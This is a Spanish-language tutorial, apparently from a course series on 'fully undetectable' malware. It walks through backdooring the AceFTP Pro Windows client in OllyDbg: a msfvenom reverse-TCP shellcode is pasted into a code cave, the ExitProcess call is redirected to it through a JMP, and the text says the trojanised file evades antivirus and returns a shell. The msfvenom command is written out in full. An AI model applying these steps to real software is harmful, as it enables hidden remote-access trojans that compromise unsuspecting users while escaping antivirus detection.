5.4.3. Backdooring PE con redireccionamiento (exitprocess)
Este artículo pertenece a la serie de FUD (Fully Undetectable) Payload Malware. Para poder seguirlo es necesario haber consolidado los conocimientos que se dan en Malware SA en temas como Metasploit, funcionamiento de memoria del sistema, debugging, lenguaje ensamblador, OllyDbg, etc.
En esta ocasión la práctica consiste en introducir una shellcode en un ejecutable con el objetivo de que los sistemas de seguridad del sistema como el antivirus no lo detecten como malware. Esta práctica utiliza técnicas de ingeniería inversa básica y combina técnicas que ya han sido exploradas en las prácticas anteriores de FUD: Code Caves y FUD: Custom Binaries.
No obstante, en esta ocasión se va a utilizar una de las funciones principales de biblioteca kernel32.dll de APIs de Windows. Esta función es ExitProcess y se utiliza para finalizar un proceso en ejecución. El objetivo es que al terminar el proceso iniciado por la ejecución del programa, el flujo del programa se redirigida al código malicioso introducido y este sea ejecutado para iniciar una shell. Para realizar la práctica, se obtiene un versión de software cliente FTP de AceFTP Pro v3.61.1 de 32 bits para Windows (o similar). Para obtener el fichero ejecutable (PE), se debe instalar el programa con las funciones habituales y posteriormente dirigirse al directorio con los ficheros generados durante la instalación (normalmente C:\Program Files, etc.). Para modificar el fichero, se puede trabajar indistintamente con Windows o Kali Linux, siempre y cuando en alguno de ellos se disponga del programa para debugging OllyDbg.
Antes de iniciar el proceso, es necesario obtener el código en hexadecimal de un payload de tipo shell reversa de 32 bits para Windows con Msfvenom. Es recomendable emplear el parámetro –smallest para que el código generado sea del menor tamaño posible, por ejemplo (se copia y se guarda en resultado obtenido):
msfvenom –p windows/shell/reverse_tcp LHOST=<LOCAL_IP> LPORT=<LPORT> --smallest -f hex
Ahora sí, los pasos a seguir son los siguientes:
1. Se captura el ejecutable obtenido del cliente FTP con OllyDbg. Se debe encontrar el componente Module Entry Point. El Module Entry Point (punto de entrada del módulo) en el contexto de aplicaciones de Windows es la dirección de memoria donde comienza la ejecución del código de un módulo (se recuerda que la sección del código de un ejecutable es .text). Dependiendo de la versión de OllyDbg, el programa se encuentra iniciado en esta dirección de memoria, o bien otra opción es utilizar CTRL + N (Names) y buscarlo entre las opciones disponibles:
2. Pulsando sobre la fila del módulo, el programa devuelve a la dirección de memoria, en la parte de lenguaje ensamblador (concretamente en este ejemplo la dirección de memoria 00928C60). Analizando detenidamente las instrucciones mostradas, se ve que a partir de la dirección 00928CD8 existe una gran cantidad de código basura o code caves. Estas direcciones son un buen candidato para introducir el código HEX del payload obtenido con Msfvenom.
Nota: En caso contrario, se podría haber buscado algún code cave como ya se vio en la práctica anterior de FUD.
3. Para introducir el código de la shell a partir de la dirección 00928CDA, se van a seleccionar las direcciones de memoria situadas inmediatamente abajo que no contengan instrucciones con el botón SHIFT del teclado y posteriormente se escoge la opción Binary → Binary Paste con el botón secundario del ratón, tal y como se indica en la siguiente pantalla compuesta:
4. Ahora se debe buscar la referencia a la función ExitProcess con el buscador de módulos como se ha visto en el primer punto (CTRL + N), pues es vital para modificar el ejecutable de tal modo que al cerrar el programa, el flujo se redirija a la sección modificada donde está la shellcode:
5. No obstante, se deben buscar referencias en las instrucciones del código del programa que apunten a este módulo. Para ello, desde la línea de ExitProcess, con el botón secundario se selecciona la opción Find References to Import. Se deben anotar las direcciones de memoria encontradas y añadir un breakpoint (F2) en ambas:
6. Los dos breakpoint se han introducido para estudiar el comportamiento del programa y decidir en cuál de ellos introducir el salto de instrucción que redirija el flujo en donde está la shellcode. Para ello se inicia el programa con F9. En el primer salto, OllyDbg puede advertir de un tipo de violación del programa o bien que el programa deba subscribirse, etc. Se deben ir cerrando las opciones (se abrirá el programa) con el objetivo de cerrar el programa o forzar la ejecución con SHIFT + F9 para finalmente cerrarlo hasta detener el flujo en alguno de los BP:
Nota: Puede ser necesario más de un intento en este paso hasta encontrar el modo de desatascar y llegar al último BP.
7. Para terminar, simplemente se modifica esta instrucción en la dirección de memoria 00405720 por la de un salto (JMP) hacia la dirección de memoria donde se inicia la shellcode y que se ha guardado en el punto 2. Para ello, se puede pulsar la barra espaciadora en OllyDbg con la instrucción seleccionada e introducir como se muestra:
Nota: Ahora ya se puede guardar el ejecutable manipulado con la opción de OllyDbg Copy to Executable. No obstante, es probable encontrar algún problema con la memoria al ejecutar estas modificaciones. Una opción es guardar el ejecutable modificado por trozos: 1) Primera modificación con el JMP; 2) Segunda modificación introduciendo la shellcode.
Con estas modificaciones, el payload no es detectado por el antivirus local y se consigue una shell relativamente estable:
